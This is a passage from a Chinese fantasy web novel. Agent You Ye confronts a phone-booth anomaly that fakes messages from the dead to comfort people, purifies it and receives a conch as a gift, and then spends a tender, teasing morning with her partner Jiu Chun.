随后,他看向那块显示屏。一模一样的流程,他遵循游叶和九春的经验,问:“请问留言人是谁?”
查询中……此条留言并未要求匿名传递。
留言人:庄连瑞。
连湛的脸色唰一下变了,他倒退好几步,后背嘭地一声撞上电话亭的门。他恍然不觉,只是颤
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着声音说:“……哥哥?”
一张带笑的面孔闪过脑海。他的哥哥,经常是笑着的,直到他生命最后几个月,他被精神污染,成了个疯子,就再也没笑过。
连湛回过神来,他着急地说:“你为什么会有我哥哥的消息?他是不是被你污染的?”
显示屏没有新的字符。连湛声音发抖:“回答我!你是不是知道我的哥哥是被哪个异种污染的?”
仍然没有回音。连湛用力抓住显示屏下装载电话的台子,他手臂的肌肉因为显征能力的强化而膨大起来,声音近乎撕裂:“快说!不然、不然我——”
警告。请不要毁坏电话亭内物件。否则将被视为入侵者,电话亭将进行制裁并结束本次传讯。
连湛咬着牙,脸色一片惨白,向来柔和的五官绷紧一片,又浮现出迷路孩子般的惘然。他松开手,跌跌撞撞地后退,大口喘着气。
传讯。对了,按照流程,他还没接听电话。连湛握着听筒,几乎是迫不及待摁向耳边,力道大得令人咋舌。
他的心脏狂跳。他的哥哥,究竟会给他留下一段什么样的讯息?期待与焦虑混杂,但无论如何,他总是希望能够再听到他的声音。
“阿湛。”
连湛的呼吸停住。
“父亲骗了我们。他骗了我们。你不要相信他。不要……”
“不要走上我的后路。”
听筒寂静下去。连湛的瞳孔扩张到极致,显征能力散溢的能量让空气不稳定地波动着。他的右手无意识用力,金属听筒在他手中震颤不休,仿佛下一秒就要崩裂。
兄长的面容在他脑中滚动而过,不同时刻,不同表情。直到最后,定格的画面是他苍白额头上迸出血花,一个漆黑烧焦的洞孔映在自己紫色瞳孔的中央。
“嘭——”
枪响撕裂了那个晴朗的午后。
四周是园中鲜花的清香,而他隔得太远,甚至没有闻到血腥味。
连湛死死闭上眼睛。一道冷汗从他额角滑下。哥哥。他在心中无声地呼喊。
你究竟想告诉我什么?
电话亭允许他离去。连湛勉强稳住心神,现在重要的不是他自己的事。
他从腰包中取出测量仪,开始检测电话亭内的空气质量。正如游叶与九春所感,亭内空气的温度与湿度都大致符合大都会附近几个沿海城镇的数据。关于空气中的咸味,或者其他东西,他只凭自己的身体无法感知到。
连湛再一次深刻感知到自己和专业人士的差距。他感到沮丧,似乎不论自己在如何努力学习、实践,都无法抹平他们之间数年的训练时间。这样的自己,真的能成为和他哥哥一样优秀的异种处理专员吗?
不,他一定会做到的。他一定可以的。
连湛拍拍自己脸颊,迫使自己冷静下来。他掏出一支强效安定剂,对准自己上臂静脉注射进入。
早在离家之前,他就已经立下誓言。为了这个心愿,他愿意付出所有。
在推门离开之前,兄长的留言再一次于脑中播放。这一次,比起震惊和不敢置信,涌上心头的更多是困惑和一种细思极恐——
他们共同的父亲,究竟欺骗了他们什么?这个东西,居然需要他用生命来传递?
多年来那点细小的异样感如同暴露在外的线头,顺着它用力一扯,看似完整复杂的线团就会整个飞散开来,变成一地丝线。连湛记忆力同样异于常人,他还能清楚地说出那个时刻。
那是从他哥哥死去的那一天开始的。
那双和他近乎相同的紫色眼睛,仍然在至深的黑暗中凝望着他的。
18. “幸福”
夜色深深,游叶坐在一把折叠椅上,打着掌机打光在看这几年大都会新闻报道总辑。
自群星营毕业后,她与无垠公司签了四年合同,大部分时间都奔波在其他城市净化异种。与她相反,九春成为异种处理公会的专员,基本都待在大都会以内承办任务。
想到其中的种种缘由,饶是游叶也不由得暗下脸色。她摇摇头,继续看这几年她错过的东西。
这些年大都会内增生了不少新异种,游叶饶有兴致地一个个看过去,净化的直接看公会论坛净化报告,没净化的看看最新进展。说不定其中就有合适他们小队的任务。
不过,如果只是她和九春组队,这上面所有未净化的异种处理任务他们都能接。虽然新成立一个小队还得走很多手续……不过这个可以找宁宁应该挺快的……还得重新评级……不过她一个人的履历就能把评级推到A,再加上九春这些年也没有偷懒,合起来应该是能拿到最高评级可以接所有类型的任务……
她畅想了一会儿,脸上浮现笑容,雯芮在的话大概会称其为“幸福的傻瓜式笑容”。可惜这位老友不在身边。
话又说回来,她也不要她在。雯芮并非他们这种上前线的执行专员,虽然她抗性与身手并不差,但也没有必要直面异种。每个人有每个人的职责。
她往下翻。新异种和旧异种的资讯过去了,来到政治领域。这几年总统大选可谓红红火火风雨满城,最后年初选出来的居然是个年轻小伙子。游叶大概扫了一眼他的照片和姓名,就能推测出他是哪家推选出来的代言人。
看来今年还是老牌世家占优。雯芮和爱德华的联姻形成了一条新的政治战线,但还太新,不足以和曾经的巨头家族们抗衡。看来今年的政策还是会科技——尤其是异种生物科技优先发展,其余次之。
相比之下,副总统大选平波无澜,仍然是以超过80%的高支持率当任的时百心。自从游叶有记忆以来届届都是如此。甚至有一种夸张的说法:联邦成立了多少年,时百心便担任副总统多少年。
这当然是夸张,毕竟也不可能有人能活这么久。但时百心的年龄确然是个谜。游叶也说不清她究竟多少岁,她没问过,总觉得不会得到一个确切的回答。
她又换到科技板块,看无垠公司的新品、霄日生物科技的医疗突破、寰宇医院的新规……最后,她实在是眼花缭乱,就关闭所有界面,只留下音乐播放,选择了歌单编号1,按顺序一首首轮下来。
开头就是一阵劲爆的贝斯与吉他掐架,托底的鼓点默默观战,有劲儿得足以摇醒睡在棺材里的人。游叶也不由得一个激灵,刚刚一点深夜困意全飞走了,她感叹:“不是吧,又从吵架里得出新灵感了吗……”
玩音乐的都这么随意大小取材么。那也是很艺术了。游叶不予置评,她只是个单纯的听众,听得来就欣赏,听不来就算了。不过目前来说“無彩”乐队所有的歌她都能听得进,大部分都还蛮喜欢。
音乐是调到只有本人能听见的频段,无须担心扰民。游叶听着音乐,在宁静的夜色中等待着。
她下午和席悠聊过了,对方对瓦里希娅这件事也相当上心。尽管她的父亲并非亚利苏教徒,但瓦里希娅却尝尝来教堂做祷告,席悠也很喜欢她。
她答应游叶,如果苏丽娜老板娘心意已定,她会全力支持她收养瓦里希娅,把她的教养权从她生身父亲那里夺过来。
希望那样做可以减少她对“妈妈”离开的伤痛。关于未来,游叶什么也无法担保,但她确实期望这世上能多一对快乐的母女,即使她们之间并无血缘。
鉴于游叶本人并没有体验过通常意义上的母女关系,她也不太理解瓦里希娅对母亲的执念。“母亲”这个词的意义对她来说遥远而模糊,而游叶也向来不追求某种定义。
现在,她还是把手头的事解决掉吧。游叶关上掌机的灯,看着一座老旧电话亭在海岸边渐渐显形。
这一次,精神污染缓慢地扩散开。游叶都有些感动了。一直没精神污染她都怕自己找错对象。这或许也可称作一种专员的通病。
这个距离,精神污染对她还造不成什么影响,她只是能感知到。游叶保持安全距离,观察着红色电话亭。
“虽然这样直接对你说话应该也能听到,但我们不如用你真正的形态来交流吧?”游叶耸耸肩,声音中带着微妙的嘲弄,“【妈妈】?”
只是夜风吹过沙砾的声音。片刻后,电话亭本身逐渐扭曲、虚化,仿佛在月光下融化,呈现出一个人类的形体。
祂的形状不大,大致符合人类的轮廓,披着一身湿淋淋的朱红外衣,轻薄的材质,有着古怪的深色花纹。袖子与下摆奇长,盖住了全身,看不见手足。
同样湿淋淋的黑色长发盖住了头颅前后,让人无法分清正与反。游叶很怀疑是否根本没有正与反。无论如何,看不见对方的脸她很欣慰,恐怕那会是下一次恐怖片大爆款的主角。
那个仿若人类的异种说:“你好。”
声音也带有一定的污染性。游叶记下这点。不过,声音不是机械电子音,那与人类的声音十分相像,难辨性别,带着些许柔弱。
“你好。”游叶说,“这才是你的本体吗?”
“不是。电话亭和这个样子,都是我。不过是外观变化少许。”
这大概是异种定义下的“少许”。游叶不纠结这个问题,异种问她:“你怎么知道我还有这个样子?除了瓦里希娅,我没有在其他人面前如此现身过。”
“一个小孩子再天真,也不会用‘她’来称呼一个非人形的电话亭。”游叶说,“不过,我也只是随便猜猜。”
“那么恭喜你,猜对了。”异种说。祂没有感情波动,与游叶所见的大部分异种相同。
“谢谢。那我就继续我的猜测了。”游叶拍拍手,整理思路。
“虽然传言都说你传递的是‘过去或者逝者’的信息,实际上,根本不是这样。
“你是个骗子。你所传递的所有信息,都是提取我们记忆中与世间留存的那个人的相关信息,伪造出来的。
“每一条留言,都不是什么‘亡者余音’,只是我们潜意识里希望能听到或者怀疑可能存在的东西。”
游叶说:“你所传递的,并非真相,而是给予人们虚假希望的谎言。”
她说完这一段话,异种并没有动容——当然,祂的脸游叶也看不见,被他变换出来的黑发全部遮住了。那一圈长发像密匝匝的帘子一样。
片刻后,祂说:“你如何证明?”
“因为我得到的留言就是假的。”
游叶忽然笑了一下,那笑容里带着一些怀念和感伤,但转瞬即逝。“褚蕙……她不会叫我游叶。”
叫出那个名字的时候,她感到舌头生涩,但心中涌起熟悉的亲切感。她说:“游叶不是她为我取的名字。”
还有九春给她发来的讯息。闻莺最后的日子一直沉睡不醒,不可能知道守在他床边的人是谁。而且,就算要传递最后一条讯息,他也不会对九春只是说一句“谢谢”。这样的话他已经和他们都说过很多次了。
“尽管我也不记得她给我取过什么名字了。”她开玩笑一般地说,“你是觉得我不记得就可以骗到我吗?未免太小看我了吧。”
其实异种基本不会有看得起或者看不起谁,祂们多半没有类似的感情。就算有,也是很粗略的“喜欢”或者“厌恶”,不若人类这样复杂细微。
“原来如此。”异种这样说。祂头颅的部分移动少许,似乎是在模拟人类打量他人的姿态。游叶不知道祂的视觉器官在哪,但能感觉到祂在注视着自己。
一般人被这样的存在锁定,大概都会相当恐惧,但游叶已经习惯了直面异种,如果你面对过八千个眼珠子同时盯着你还没有倒地不起的话,那么面对看不见眼睛的对象应该也不会太过畏惧。
更何况,这个异种看起来并没有多少攻击的意图。祂甚至在很平静地询问:“假如你说的是真的,那我散播虚假留言的目的是什么呢?”
游叶本想说没有目的。正如先前会议上她和九春所说,异种行事往往不可用人类逻辑揣度之。但祂既然如此发问,答案想必不是“无”。
她思考起来。良久,异种专员用不太确定的语气说:“你想要带给人们幸福。”
她没有使用问句。因为问句不是回答。须臾,四周能量场波动起来,如同不远处的海面波纹起伏。异种端坐在白砂之上,倒是未动分毫。
祂说:“的确如此。”
居然给她猜对了。感
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谢连湛,感谢瓦里希娅。她就说异种在这小姑娘身上花了这么长时间,这个案例应该是最典型的。
而瓦里希娅在电话亭身上得到的,就是“幸福”。
除了她之外,也有不少案例的确从祂身上得到了宽慰。如果这些虚假话语所带来的慰藉也能被称作是幸福的话。
即使如此,她还是必须净化祂。还有人因为祂的精神污染昏迷不醒,或者无法正常生活。为了受害者的人生,还有未来不再出现更多被污染的人,这是她身为异种处理专员的职责。
这就是这个异种的行事逻辑。以提取到的记忆与其他信息,虚构出亡者的话语,传递给接听电话的对象,以期待能够带给人们“幸福”。
“作为异种,你还挺喜欢人类的。”游叶评价。
异种头颅点了点,那扇黑发浮动,“以我的感受来说,我并不想伤害你们。”
但实际上,祂已经伤害了不少人。游叶没有指出这点,她说:“瓦里希娅告诉我,她在第一次之后都没有再受到精神污染。这是可以控制的吗?”
难得遇到愿意与人类交谈的异种,她想多了解一些异种本身的能力。祂回答:“是的。实际上,任何异种如果精确控制,都可以做到不释放精神污染。”
“那从理论上来说,你们可以完全不释放精神污染。这样看来,异种有与人类共存的可能。”
游叶说完这句话后,异种沉默了半晌,祂再开口时,似乎对游叶刮目相看:“你让我想起了很久之前的存在。”
“正是这位教会了我人类的可爱之处,让我对你们产生的不是敌意,而是其他感觉。”祂补充说,“如何控制自己不释放精神污染,也是那位教给我的。”
游叶讶异地挑起眉毛。这是她第一次听说这样的事。那是怎样的存在?那应该也是一个异种,却对人类如此亲近,甚至还教会其他异种这样与人类相处的方法。
“那是多久之前?”
“按照你们对时间的计算方法,应该超过一百年。”
那就是在异种降世的最初,人们都还在精神污染中苦苦挣扎的时代。看来她得去研究研究相关历史了。
一段描述闪过脑中,游叶轻声念道:“【祂说,你承我授之能,为我行之事,便也可如我一般,净化邪异,守卫你等家园。】”
异种并无反应。游叶也不太清楚自己为什么念出了亚利苏教的经文。这是《源启经》第四卷的内容,讲的是圣者如何教会信徒净化邪恶的方法。
她皱皱眉,压下心里的异样感,问了另一个问题:“还有其他异种和你一样,比起厌烦或者敌意,比较偏向喜欢人类吗?”
“据我了解,大部分异种在那位的劝说下,都逐渐有意识到你们的可爱之处。”祂说,“不过,当然,就像你们人类各有不同那样,我们之中也有对你们抱有深刻敌意的存在。”
“我能否这样理解:会像你这样表现类似人类形态的异种,都是对人类抱有好感的?”
“不能。不论是本体还是造物,即使呈现出你们的形态,也未必就对你们抱有善意。”
原来是这样。游叶感觉自己真是撞了大运,之前遇上的异种,即使对人类比较友善,也很快就被净化消失,根本问不了这么多。有时候又有队友在旁边,她向异种发问也显得不太合适。
毕竟大家主要还是把异种看作敌人,和敌人这样友好交流属实异类。这样想来,她或许也算人类中的“异种”呢。
“实际上,你们能够不依靠显征能力就净化的异种,都是对人类有好感的,或多或少。”异种说。祂居然相当了解人类对于异种的相关常识和定义。
不愧是能控制通讯设备的异种,非常与时俱进。游叶定定神,说:“那如果是对人类抱有敌意的……?”
“按照你们的分类,只能暴力净化。即使祂表现出可以被其他方式净化。”祂平淡无波地说。
这个情报能够被理论证明的话,异种净化教科书上又要多出几页了。游叶将刚刚的对话全部记好,这种宝贵的情报,她必须上报公会,让所有人都作为参考,或许多挽救一些生命。
这时,海与天相接之处隐约泛出光芒。游叶微微眯起眼睛,碧绿欲滴的眼瞳中映出一线灿金。
天要亮了。
19. 馈赠
转回头来,游叶发现异种的身形比方才虚无不少,那身红衣不再色深如血,甚至给人残花落尽的错觉。她愣了一下,听到祂说:“我很快就要消失了。”
“拆解我的行为逻辑,这就是净化我的方法。你已经净化了我。”祂说,“在第一缕晨曦洒在我身上的时刻,我就会归去。”
原来净化祂的方法是这个。游叶并不很意外,她曾经也碰到类似的【漫游型】异种,正是那些经验让她作出了与异种沟通的尝试,并当面指出祂的行为因果。当然,她也不能百分百确定,但试试总没错,又不会损失什么。
“你问了我很多问题。我也有一个问题想问你。”异种说,祂的语调头一次有了些许波动,只有游叶这样听觉被强化过的人才能听出。
“以你作为人类的标准判断,我带给人们的留言,有让他们感到幸福吗?”
远方太阳慢慢从水上爬升而起,沉默弥漫在不同物种之间。思考良久,游叶缓缓说:“我想,对于一些人来说是有的。”
“即使你似乎并不赞成我的所作所为。”
“我不赞成是一回事,人们有没有感受到‘幸福’这一情绪是另一回事。”游叶干脆地说,“别人我不好说,但至少瓦里希娅从你这里的确得到了幸福。”
即使那是一场虚假的幻梦。但曾经在梦中得到过的慰藉、快乐、希望,并不会因为梦境逝去就全部归零。游叶并不会否认,在听到那个“褚蕙”的留言时,她的确感到怀念和安慰。
即使她已经不记得那个人的声音。
异种做出类似点头的动作,大抵是接受了她的回答。祂说:“在我被净化之前,我有个东西想要送给你。”
来自异种的礼物,游叶也是第一次收到。她不免吃惊,看着那条袖子抬起,上面悬浮着一枚洁白的海螺。
“这是我最初的样子。不过,这只是个纪念品,里面有一段留言。是那位存在确切说过的话。”
“为什么送给我?因为我净化了你?”游叶颇为不解。按照这个异种的行为,祂最喜欢的人类应该是瓦里希娅。
“不是。因为你和那位有些相像。”这句话祂先前就说过。说到这里,异种停顿了一下,像是人类在犹豫。
祂说:“不只是你的话语。不只是因为你身上有那位的影子……这件事我也不明白。但你确实让我感觉到了那位的存在。”
“也因此,被你净化,我有所预料。”祂说,“那位伤害到我的女性人类也有和你类似的气息,但她要更淡一些。”
前面游叶还可以当他是睹人思异种,但说到这里时,她面色微微凝重起来。
她想到了一个可能。但这真的可能吗?
她还需要更多的查证。游叶接过那个海螺,没有从上面感受到任何精神污染。她说:“谢谢。”
异种头部又微微动了一下。游叶问:“除了那段录音,这个海螺还有什么特别功能吗?”
“可以播放指定对象最渴望听见的一段留言。如果你足够了解指定对象与留言者的话,你可以将他们的记忆输入这个海螺,它会和我的电话机起一样的效果。”
那就是播放一段对方想要听到的虚构信息。游叶暂时想不到能用在什么地方,但毕竟是一个异种赠予的礼物,她珍重收好。
一道金芒照亮她的侧脸。游叶看向几乎变成透明的异种,她说:“拜拜。”
“替我向瓦里希娅问好。”
以祂的形体为中心,一阵炫目的多彩光芒攒射开来,如同日光打在多面晶钻上的反射。祂消失了。
等了片刻,游叶才小心翼翼地走过去。那里只剩下一部红色的老式电话机。
这应该就是异种被净化后遗留的净化源了。游叶没有贸然接触——那是君山那样有着高级【收容型】显征能力的人才能做到的——她从腰包里摸出一片银色的东西。
比起白银,那更像是钢铁表层的银灰色。外形仿若一片羽毛,但中间细腻的纹路又如同叶子的脉络,精巧有如艺术品。游叶手持那片银色挥了挥,随性如同挥舞芭蕉扇,那个东西便骤然放大,直到两倍于电话机的大小。
那既似翼羽又似脉叶的钢片甚至在风中轻轻浮动着,仿佛有生命般蜷缩、舒展,像是正在呼吸。
游叶没有露出丝毫诧异,她熟练地用这片钢羽包包包卷卷卷,把电话机整个儿包好,就像这玩意儿是礼品包装纸一样。
随后,更神奇的事情发生了:银羽包裹着净化源,逐渐缩小成原本一片叶子的大小。游叶把它收进腰包,就像这只是一颗石头。
不需要其他收容措施。这片翼羽就是这个世界上最强的收容物,超越了人类所能抵达的极限。每个人都能使用它,不论是不是显征者。但持有它的人寥寥无几。这不是能大规模传播的东西。
再者,它最大的作用就是收容净化源,而一般人也做不到净化异种,不做这行拿着这玩意儿也没用。
现在的科技水平能够生产出部分对净化源有收容作用的物品,但各有弊端,也因为造价昂贵而不能大规模推广。并且,游叶试过其中大部分,能起到的效果不足这片钢羽的十分之一。至少她没见过哪家公司的产品可以做到无差别、无条件地收容所有净化源。
游叶把所有东西收好,远方就传来一阵急促的脚步声。她转身,被挣出海面的日轮投射出的光芒刺得微微眯眼。
在狭窄的视野间,那个人的身影无比清晰,越发靠近。九春奔跑在沙地上,在柔软的砂砾间如履平地。他几个大幅度弹跳,如同沙漠中的捕猎者,来到游叶身侧。
他先快速检查游叶有没有明显外伤,再仔细观察她神色,评估她的精神状态。最后,他确认她状态尚可,才问:“你怎么样?”
游叶摇摇头,表示自己没什么事。她说:“电话亭我已经净化收容了。”
九春脸上闪过一丝惊讶。但马上,他又觉得理所当然:游叶就是有这样的实力。他询问了净化方式,游叶简单地和他讲了一遍经过。
期间,他们沿着海岸线慢慢行走,另一端的扬帆镇开始传来清晨醒来的声音。听完整个故事,九春有些感慨:这样实际本意不坏,甚至算善意的异种并不多,以一般人的立场,他也产生了几分可惜和遗憾。
但那也只是一瞬。作为专员,九春再清楚不过:异种的生死观和人类有极大的不同。对于被净化一事,大部分异种都秉持一种超然且宽容的态度,多半不会有任何怨言或者负面表现。
尽管没有和哪个异种交流过这件事,但在九春看来,这对祂们来说或许是解脱。
“对了,祂给了我一个东西。”游叶取出那枚白海螺,“说是有一道来自百年前异种的留言。我们一起听一下吧。”
两人在海边驻足。游叶不太确定这个海螺用法,她先自己尝试把耳朵贴近海螺口,手上握着海螺尾部轻轻晃动几下。
这居然还真行。她招手示意九春,对方立刻凑近过来,脸靠得很近,游
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叶把海螺口对准两人耳朵,里面传来一道声音。
一道柔和的女声响起:“……我并不会憎恨人类。”
“是的,你说的没错,有一些人的确在计划如何驱赶我,甚至想要得到我的能力。我想,这一天大抵不会太远了。
“不、不不不,”紧连着一阵爽朗的笑声,“你怎么会这样想?我当然是可以被净化的。你们不是最近创造了一个定义么?那种对任何异种都通用的净化方式。
“暴力净化?哈哈,很中肯的说法。我也是异种,这对我当然是有用的。
“不过,即使那一天到来,我真的从这个世上消失了——
“我也不会憎恨人类的。
“你想要理由?”
那个声音顿了一下。“因为我不会憎恨你呀,季槿。你也是人类的一员,憎恨人类不就等于要憎恨你?我不会有这种想法。”
“还有,你是不是忘了?你们对生死的定义和我完全不同。死亡对我来说并不是终结。那更像是……另一段旅程的开始?你应该祝福我才是呀。”
“你看上去不太认可,我想也是。
“放心吧,我没有那么容易就被净化的。所以,你不用特意去做什么。你陷入危险,才是最让我担心的。
“我知道,我知道。阿槿是最厉害的!好了,我们不说这个了吧?”
接下去的语句如同呢喃,逐渐随风远去。游叶垂下手,和九春面面相觑。显而易见,在场没有人听懂这段话是什么意思。
“这是,那个异种在和一个人类对话?”九春率先打破沉默,他艰难地组织词句,“曾经有过异种与人类……和谐共处的时候?”
“听起来好像是这样的。”游叶不大确定地回答。他们对视一眼,决定先把这段事放在心里。
“那个人叫季槿……说不定是你哪个老祖宗呢。”游叶忽然想到这里,开玩笑地说。
九春哼了一声:“怎么可能啊。这世界上那么多姓季的人。”
随后,他们之间陷入一阵沉默。九春余光偷偷观察游叶侧脸,总感觉她尽管目光坚定,但有些疲惫。这也难怪,毕竟在一个异种精神污染范围内待了这么久,又一晚没睡,对于经过训练的他们来说,这不是什么大事,但总还是会有些累的。
他停下脚步。游叶跟着他停下,她转过脸,目光有些疑惑。九春动作略微僵硬地展开双臂,“要我抱你一下吗?”
他扭过脸,掩饰住自己发红的面庞,“没什么,你不想要就算了,我也不是一定要——”
话音未落,游叶已经飞扑过去,紧紧抱住了他的身体。九春上半身晃了一下,凭借优秀的核心力量好歹没有跌倒。
他回抱住女孩,感觉心房被充盈。据科学研究,拥抱有助于人产生积极情绪,现在看来似乎的确是这么回事。
静静相拥片刻后,他突然听到游叶的声音:“九春,头,低一下。”
他下意识照做。下一秒,嘴唇被掠走,游叶用力摁住他肩膀,另一只手环住他的腰,无论如何都不会让他逃开。
虽然九春也没想着逃开就是了。吃惊归吃惊,在这样没什么人的环境下,他也抛开羞涩,张开嘴唇,唇齿纠缠。
良久,双唇分开,游叶颤抖地叹息一声,声音中充满渴望被满足的喜悦。她张开眼睛,碧绿色摇曳如火。
九春缓缓眨了眨眼,他气场柔和下来,有些不自然地问:“……回去吗?”
“当然。”
20. 撒娇
九春领着她往自己停车的方向走。坐上车,他问:“要不要睡会儿?”
游叶考虑了一下,回他:“算了。我先把报告写了吧。不然总是放在那里也不安心。”
九春便随她去了。作为实际净化的专员,他们需要把净化方法、流程、异种特点等等写一份说明,再交给川汜进行文书上的修饰工作。
说明的每个要点都要尽可能精确,因为会成为之后其他专员的参考,如果说明有大纰漏导致他人参考执行时出了问题,尽管不会追责到他们身上,但心理上真会有很大负罪感。
游叶展开一块长光幕,一边打字一边和九春讲行动中的细节和分析。九春帮着她确认和修改,两个人合力,很快就弄了一份漂亮的说明出来。
游叶把说明发给川汜,九春提醒:“他这会儿可能在睡觉。”
“昼伏夜出吗,挺好的。很适合干这行。”游叶胡言乱语,九春怀疑地看她一眼,“你要不还是睡一觉吧。”
“等下。先去趟公会,我把净化源交接一下。”游叶说,九春不赞同地蹙起眉,但还是依她意思改了自动行驶目的地。
飞车在庞大的建筑群前停下。全大都会最大型的空中全自动传输多轨道平台在他们面前展开,如同一颗透明玻璃心脏中枢延伸出无数向远方的管道,无法计数的人们在其中川流不息。这里就是大都会的异种执行者公会总部,与无垠公司总部大楼并称“大都会双峰”。
游叶和九春走进升降平台,前往“收容中心”。交递完净化源并收回自己的收容器具后,他们迎面遇上一个熟人。
女性穿着公会统一的后勤人员制服,头发盘起,一丝不乱,黑框眼镜下视线犀利,低跟皮鞋发出沉闷声响。她一路走来,周围人纷纷向她问好,表情是既敬且畏。
“宁宁!”游叶开心地叫道,她蹦蹦跳跳冲过去,一把抱住一身制服的女子。对方没倒下,全靠游叶的手在她腰后撑了一把。
她扶了扶稍微滑开的眼镜,训斥道:“你都多大了,还这么没轻没重的。”
话虽这么说,语调却是无奈而纵容的。游叶抬起脸,露出笑嘻嘻的神情,“因为居然能碰到你,太高兴了嘛!”
宁枫被这句堵得无话可说。她轻咳一声,掩饰失态,“好了,快放开。还有这么多人看着呢。”
等到游叶恋恋不舍地松开她,九春才走过去,他简单打了个招呼:“宁枫。”
“九春。你们俩终于在一起了?”宁枫对他点点头,然而下一句就语出惊人。
九春被噎个半死。该说不愧是一个宿舍出来的吗,这几个人都有一说话就让对方无法回答的能力。
就在他耳朵发烫,不愿意直接承认也不愿意否认,组织措辞的时候,宁枫说:“我的意思是,你们俩终于在一个队里了。”
“你在想什么?”她不做特别表情时,那张端正的面庞便显得相当严肃正经,让人一瞬间真以为她是在质问自己的小心思。
不过,九春也没那么好欺负,他哼了一声:“我知道。是啊,我们现在在一个队里。”
宁枫转向游叶,还是那副正经语调:“恭喜你,得偿所愿了。”
游叶笑得很甜。她说:“是呀。对了,阿雯说要约我们俩一起去喝茶。你什么时候休假?”
宁枫眼珠转向斜上方,光看她这幅神情,游叶就知道她正在脑子里滚动接下来两周到一个月的日程表。她充满期待地盯着她,知道自己的好舍友对她这类表情最不容易拒绝。
“下下下周四应该能休假。可以吗?”宁枫视线移回正前,她询问。
游叶眼睛一亮,“当然!就算是在【彼界】里我也会飞出来和你喝茶的!”
“你最好不要。作为专员,请优先确保自己的生命和精神安全。”
被严肃地教育了,游叶也没露出一点不满,她笑容甜丝丝的,“谢谢你关心我呀。我就知道宁宁最喜欢我了!”
宁枫无奈地看她一眼。她说:“我还有工作,先走了。”
游叶用力挥手给她送别。九春说:“你们关系还是这么好。”
他声音带着难以察觉的羡慕。游叶停下夸张的肢体动作,轻声说:“是啊。我很幸运,能和她们成为朋友。”
他们中断这个话题。游叶走过去,握住他的手。九春垂目,他紧紧地回握。
*****
回到别墅后,游叶忽然说:“在海边待久了,感觉头发脏脏的。”
这句话没什么稀奇,但她特意说出来,肯定是有什么意思了。九春看着她,等待她冒出的新点子。
这时候,他们正在两个人共用的三层,其他人都在各自的楼层休息。游叶含笑看他,咬字清晰地说:“能帮我洗洗吗?”
果然。九春叹了一口气。“你认真的吗?”
游叶点了点头。她期待地看着他,而九春比宁枫对这个表情更没有免疫力。
到底谁能拒绝自己喜欢的人撒娇,这人心里肯定是有点什么事情。九春作出不情愿的表情,“好吧……如果你真的累得抬不起手、非要我来的话。”
听到这话,游叶立刻蹲下,说:“我现在累得走不动路了。”然后用闪闪发亮的眼神看他。
这家伙怎么还得寸进尺啊!九春严词拒绝:“我是绝对不会抱你的!”
游叶不说话,只是蹲着,用那种湿润闪亮,仿佛路边小动物卖萌讨要食物的眼神看他。僵持了一会儿,九春别开脸,“……只有这一次。下不为例。”
嘴上不情不愿,他还是动作温柔地把游叶抱起来,姿势轻车驾熟。游叶立刻双臂环绕住他脖颈,双腿盘在他腰上,九春声控门打开,两个人进入他的房间。
游叶操作智能小管家送了自己的换洗衣物过来,随后就开始褪去衣服。九春一转头,恰好看见她拆扣子,露出一段隆起的光润肌肤,修长的手指就要解开下一颗。
他猛地闭上眼睛,咬牙切齿地大叫:“去浴室里脱衣服!不要在外面脱啊!”
“诶,为什么?”此人还很不解,“这里又没有别人。”
“我不是人吗!进去!”九春干脆用手捂住眼睛,企图忘掉刚刚足以让他在干燥天气里流鼻血的图景。
游叶看着青年脸色爆红,好笑之余甚至感到些许匪夷所思,她也就这样说出口了:“你又不是没看过——”
“这不一样!快点进去啦!”九春另一只空着的手疯狂挥舞,差点打到一边的柜子。游叶乐得哈哈大笑,不由得生出更多逗弄他的心思。
半晌,九春只听到窸窸窣窣的动静,这不像是进了浴室啊。但为了防止看见会让他鼻血滴落的画面,他又不敢张开眼睛放下手掌。
只听到游叶说:“哎呀,这个扣子打不开了。”
她声音故作正经,但底下那点笑意实在掩藏不住。九春恼羞成怒:“你就是在逗我玩吧!到底想怎么样啊!”
“没有没有。没有在逗你。是真的解不开了。”游叶的声音靠近过来,连同一阵经过的风、她的体温、还有无法用语言表述的气息。九春隐约感觉到她站在自己身前,“帮我一下嘛。”
“我看不见。”
“你睁开眼睛不就好了。”
到底是谁把他置于不能睁眼的境地里啊。罪魁祸首恐怕还是那副带着点得意的笑容,他却怎么样也无法讨厌她的表情。
九春咬咬牙,伸出手,尽力让自己不要因为紧张而颤抖。他向前探寻,很快触碰到一片温暖的肌肤。在另一个人的呼吸间轻微起伏着,底下血液流动,肌肉紧实。
黑暗中,触
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觉被更强烈地放大。九春呼吸不由自主急促起来,好像他是第一次触碰她,顺着中心的脊骨向上摸索,那仿佛一节向上生长的树。
终于,他摸到那片布料,还有纠缠在一起的金属环扣。平心而论,这件内衣的款式很简单,扣子也没什么复杂的地方,但确实不知道为什么打结在一起。
尽管游叶柔韧性很好,反手能摸到自己脖子最下方,但在看不到的情况下可能、也许、说不定会搞不定——
有这个可能性才是见鬼了。再说,他也看不见好吗!九春心中大叫,一边努力凭感觉拆解着扣子。幸亏他手指比较灵巧,盲打情况下居然真给他解开了。
“谢谢啦。”游叶快乐地摘下内衣,看着对方熟透即将滴血的面孔,心情好得不能再好。她抓住九春猛然回缩的手,非常、非常正式地把那件内衣拍到他的掌心上。
“这个就给你留作纪念。收好了哦。”她将他的另一只手叠放上去,将那片布料合拢在内,又戏谑地在他手背上落下一吻,才施施然迈步走进浴室。
等到关门声后、放水声响起,九春才慢慢睁开眼睛。他低头,望着掌中一片纯色的内衣,又仰起头,猛地闭上眼睛,脸上露出一派被戏弄后痛苦的表情。
过了好一会儿,等到自己激烈的心跳平复下来,脸也没那么红了,九春才僵硬着步伐,向浴室走去。
游叶背对着他,躺在浴缸中。她鸦羽一般漆黑的长发披散在浴缸外,室内布满湿润的水汽。九春关上门,很快发现哪里不对。
“游叶?”他试探性叫了一声,对方毫无回应。而那对猫一般灵敏的耳朵不可能错过他的声音。
她居然睡着了。一瞬间,九春差点被气笑了,什么复杂的心情和欲求都被当头浇上一盆冷水,只剩下深长的无语和麻木。
怎么会有撩完人就睡,这么可恶又可爱的家伙啊。九春认命地走过去,拉了个小板凳,坐到游叶背后。
他取下花洒,水量调得偏小,防止声音太大把对方吵醒。水流打湿头发,从他掌心一次一次滑过,九春摁了一泵洗发水,开始打泡抹。
他小心控制着清洗头发的力道,仅仅专注于这件事上。温水再次流过,把泡沫冲散,只留下淡淡的香气。
他拧干多余水分,随后撤开手,工程告一段落。游叶洗头发步骤简单,基本只会用洗发水,发质好全靠天生。这点让她的舍友雯芮·卡拉奇总是羡慕不已。
